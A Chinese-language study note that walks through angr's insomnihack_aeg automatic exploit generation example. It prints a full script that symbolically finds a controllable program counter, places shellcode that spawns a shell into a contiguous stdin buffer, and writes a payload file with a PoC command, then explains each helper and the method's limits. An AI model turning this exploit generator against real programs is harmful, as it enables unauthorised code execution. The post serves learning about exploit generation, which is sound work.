simple AEG

prolugue

attachment

之前几天熟悉使用angr分析一些程序,打算看一下Angr/example里展示用的例子: insomnihack_aeg 主要的过程是看看人家的脚本是怎么写AEG(Automatic Exploit Generation)的,看完之后发现其实是挺简单的一个例子比较适合用来熟悉AEG的流程和熟悉一些常用的策略. 我主要是照着solver.py,那里不动查哪里地理解一遍.

exp

import sys
import angr
import subprocess
import logging
from angr import sim_options as so
from pwn import *
context.arch='amd64'
shellcode=asm(shellcraft.sh())
def fully_symbolic(s,var):
	for x in range(s.arch.bits):
		if not s.solver.symbolic(var[x]):
			return 0
	return 1
def check_continuity(addr,addrs,l):
	for x in range(l):
		if addr+x not in addrs:
			return 0 
	return 1
def find_symbolic_buffer(s,l):
	stdin=s.posix.stdin
	sym_addrs=[]
	for _,symbol in s.solver.get_variables("file",stdin.ident):
#	for _,symbol in s.solver.get_variables("mem"):
		sym_addrs.extend(s.memory.addrs_for_name(next(iter(symbol.variables))))
	for addr in sym_addrs:
		if check_continuity(addr,sym_addrs,l):
			yield addr
def main():
	p=angr.Project("./main")
	extra={so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY}
	s=p.factory.entry_state(add_options=extra)
	sim=p.factory.simgr(s,save_unconstrained=True)
	exp=0
	while exp==0:
		print sim
		sim.step()
		if len(sim.unconstrained)>0:
			for x in sim.unconstrained:
				if(fully_symbolic(x,x.regs.pc)):
					exp= x
					break
		sim.drop(stash='unconstrained')
	print (exp.solver.symbolic(exp.regs.pc))
	rrr=find_symbolic_buffer(exp,len(shellcode))
	for addr in rrr:
		print addr
		mem		= exp.memory.load(addr,len(shellcode))
		payload = exp.solver.BVV(shellcode)
		if exp.satisfiable(extra_constraints=(mem==payload,exp.regs.pc==addr)):
			exp.add_constraints(mem==payload)
			exp.add_constraints(exp.regs.pc==addr)
			break
			#seak for a exploitable state
	else:
		return False
	print "PAYLOAD->./payload"
	fp=open("./payload","wb")
	fp.write(exp.posix.dumps(0))
	fp.close()
	print "Poc:\n(cat ./payload; cat -)| ./demo_bin"
	
if __name__ == "__main__":
	logging.getLogger("angr").setLevel("ERROR")
	main()

options

首先脚本里面提及了两个需的option REVERSE_MEMORY_NAME_MAP可以在angr-doc中找到;TRACK_ACTION_HISTORY我网上找了一下发现有位师傅@23R3F给出了说明. |options|Description| |—|—| |REVERSE_MEMORY_NAME_MAP|Maintain a mapping from symbolic variable name to which addresses it is present in, required for memory.replace_all| |TRACK_ACTION_HISTORY|TRACK_ACTION_HISTORY 則是可以记录之前执行过的 ACTION ，可查看路径中的历史action记录(@23R3F)|

因为我们后面会需要找出内存中的symbol的地址来检验是否存在连续足够长的buf所以需要REVERSE_MEMORY_NAME_MAP,后面那个我就不知道什么时候会用到了…我尝试不增加TRACK_ACTION_HISTORY也发现能跑… 了解了options之后再来看看几个之前没用过的函数和几个脚本里面的函数.

fully_symbolic

#fully_symbolic
def fully_symbolic(s,var):
	for x in range(s.arch.bits):
		if not s.solver.symbolic(var[x]):
			return 0
	return 1

比较简单就是判断var的每一位是不是都是symboc,后面主要用来判断pc是不是可以完全被控制.

check_continuity

#check_continuity
def check_continuity(addr,addrs,l):
	for x in range(l):
		if addr+x not in addrs:
			return 0 
	return 1

check_continuity用来判断[addr,addr+l)是不是含于addrs,主要为find_symbolic_buffer服务.

get_variables

库内的一个函数文档是这么说的,差不多就是寻mem或者file中variables.这里的file我看起来有些IO_file的意思可以加第二个参数例如stdin,来寻找prefix为stdin的variavles.总而言之示例中用到的是找到输入中所有的variable

get_variables(*keys)
Iterate over all variables for which their tracking key is a prefix of the values provided.

Elements are a tuple, the first element is the full tracking key, the second is the symbol.

>>> list(s.solver.get_variables('mem'))
[(('mem', 0x1000), <BV64 mem_1000_4_64>), (('mem', 0x1008), <BV64 mem_1008_5_64>)]
>>> list(s.solver.get_variables('file'))
[(('file', 1, 0), <BV8 file_1_0_6_8>), (('file', 1, 1), <BV8 file_1_1_7_8>), (('file', 2, 0), <BV8 file_2_0_8_8>)]
>>> list(s.solver.get_variables('file', 2))
[(('file', 2, 0), <BV8 file_2_0_8_8>)]
>>> list(s.solver.get_variables())
[(('mem', 0x1000), <BV64 mem_1000_4_64>), (('mem', 0x1008), <BV64 mem_1008_5_64>), (('fil

find_symbolic_buffer

#find_symbolic_buffer
def find_symbolic_buffer(s,l):
	stdin=s.posix.stdin
	sym_addrs=[]
	for _,symbol in s.solver.get_variables("file",stdin.ident):
		sym_addrs.extend(s.memory.addrs_for_name(next(iter(symbol.variables))))
	for addr in sym_addrs:
		if check_continuity(addr,sym_addrs,l):
			yield addr

这个函数也比较直观氛围两个部分

  1. 讲输入中所有的符号(或者说是variables)找到
  2. 判断找到的符号是不是在l长度内连续.

示例中的用处就是判断是不是存在len(shellcode)长度连续的symbol可以用来存放shellcode.

solve.py

主要按照功能分为两个部分.

part 1

	p=angr.Project("./demo_bin")
	extra={so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY}
	s=p.factory.entry_state(add_options=extra)
	sim=p.factory.simgr(s,save_unconstrained=True)
	exp=0
	while exp==0:
		sim.step()
		if len(sim.unconstrained)>0:
			for x in sim.unconstrained:
				if(fully_symbolic(x,x.regs.pc)):
					#print "GET IT!"
					exp= x
					break
		sim.drop(stash='unconstrained')

第一部分的功能是找到PIE寄存器完全被symbol覆盖的状态 比较简单主要就是创建state的时候加一些option以及·创建simulation_manager的时候注意开启save_unconstrained 这里也比较暴力直接step去找unconstrained的状态…不过demo也不是特别麻烦一下就出来了.

part 2

第二个部分主要判断找到的状态是不是exploitable.

	for addr in find_symbolic_buffer(exp,len(shellcode)):
		mem		= exp.memory.load(addr,len(shellcode))
		payload = exp.solver.BVV(shellcode)
		if exp.satisfiable(extra_constraints=(mem==payload,exp.regs.pc==addr)):
			exp.add_constraints(mem=payload)
			exp.add_constraints(exp.regs.pc==addr)
			break
			#seak for a exploitable state
	print "PAYLOAD->./payload"
	fp=open("./payload","wb")
	fp.write(exp.posix.dumps(0))
	fp.close()
	print "Poc:\n(cat ./payload; cat -)| ./demo_bin"

主要是判断第一部分中找到的状态是不是存在可以放下shellcode的长度的symbol,可以的话添加两个约束

  1. mem == shellcode
  2. pc == mem 也就是将shellcode以及跳转到shellcode作为约束.可以满足的话就认为是exploitable.

Epilogue

这个example给我们了一种基础的过程:

  1. 通过符号执行发现可以控制pie
  2. 检测是否满足攻击条件,生成(导出)payload

solve.py 也决定了其有很多局限性,首先其采用的是ret2shellcode的方式所以对于开启了Not Executable的程序是没有用的,而且其检测是否可以攻击的依据是PC能否被控制,虽然可以检测出没有canary的栈溢出但是不能检测其他溢出例如bss段上的溢出,总的来说这个样例子虽然有局限性但是短短几十行就可以通过符号执行来检测某些情况的栈溢出,在那些情况下如果没有NX可以生成PAYLOAD.